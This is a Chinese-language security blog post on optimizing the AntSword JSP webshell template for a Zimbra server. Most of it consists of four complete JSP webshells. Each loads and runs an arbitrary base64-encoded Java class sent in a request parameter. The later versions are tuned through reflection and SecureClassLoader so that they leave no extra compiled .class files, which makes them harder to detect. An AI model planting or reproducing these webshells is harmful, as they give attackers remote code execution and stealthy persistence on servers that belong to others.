Java利用技巧——AntSword-JSP-Template的优化
0x00 前言
在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》曾介绍了通过反射实现AntSword-JSP-Template的方法。对于AntSword-JSP-Template中的shell.jsp
,访问后会额外生成文件shell_jsp$U.class
。《Java利用技巧——通过反射实现webshell编译文件的自删除》中的方法,访问后会额外生成文件shell_jsp$1.class
。
在某些特殊环境下,需要避免额外生成.class文件。本文将以Zimbra环境为例,介绍实现方法,开源代码,记录细节。
0x01 简介
本文将要介绍以下内容:
- 实现思路
- 实现代码
0x02 实现思路
基于《Java利用技巧——通过反射实现webshell编译文件的自删除》中的方法,访问后会额外生成文件shell_jsp$1.class
,这里可以通过构造器避免额外生成.class文件。
在具体使用过程中,需要注意如下问题:
(1)反射机制中的构造器
正常调用的代码:
str=new String(StringBuffer);
通过反射实现的代码:
Constructor constructor=String.class.getConstructor(StringBuffer.class);
String str=(String)constructor.newInstance(StringBuffer);
(2)选择合适的defineClass()方法
在ClassLoader类中,defineClass()
方法有多个重载,可以选择一个可用的重载
本文选择defineClass(byte[] b, int off, int len)
(3)SecureClassLoader
使用构造器时,应使用SecureClassLoader
,而不是ClassLoader
示例代码:
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
0x03 实现代码
为了方便比较,这里给出每种实现方法的代码:
(1)test1.jsp
来自AntSword-JSP-Template中的shell.jsp,代码如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
}
%>
保存在Zimbra的web目录:/opt/zimbra/jetty_base/webapps/zimbra/
通过Web访问后在目录/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/
生成以下文件:
- _test1_jsp.java
- _test1_jsp.class
- _test1_jsp$U.class
(2)test2.jsp
来自《Java利用技巧——通过反射实现webshell编译文件的自删除》中通过反射实现AntSword-JSP-Template的方法,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%!
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
ClassLoader sysloader = getClass().getClassLoader();
ClassLoader loader = new ClassLoader(sysloader) {};
Class result = (Class) d.invoke(loader, base64Decode(cls),0,base64Decode(cls).length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test2_jsp.java
- _test2_jsp.class
- _test2_jsp$1.class
(3)test3.jsp
基于test2.jsp,通过构造器实现,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>
<%!
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
c.setAccessible(true);
ClassLoader sysloader = this.getClass().getClassLoader();
ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
Class result = (Class)d.invoke(loader,base64Decode(cls),0,base64Decode(cls).length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test3_jsp.java
- _test3_jsp.class
(4)test4.jsp
基于test3.jsp,不使用base64Decode()
,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>
<%
String cls = request.getParameter("ant");
if (cls != null) {
byte[] str=null;
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
str = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), cls);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
str = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, cls);
}
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
c.setAccessible(true);
ClassLoader sysloader = this.getClass().getClassLoader();
ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
Class result = (Class)d.invoke(loader,str,0,str.length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test4_jsp.java
- _test4_jsp.class
在代码实现上需要注意Java语言中数组必须先初始化,然后才可以使用
0x04 小结
本文分享了一种不额外生成.class文件的实现方法,对于开源的代码test4.jsp,还可以应用到Java文件的编写中。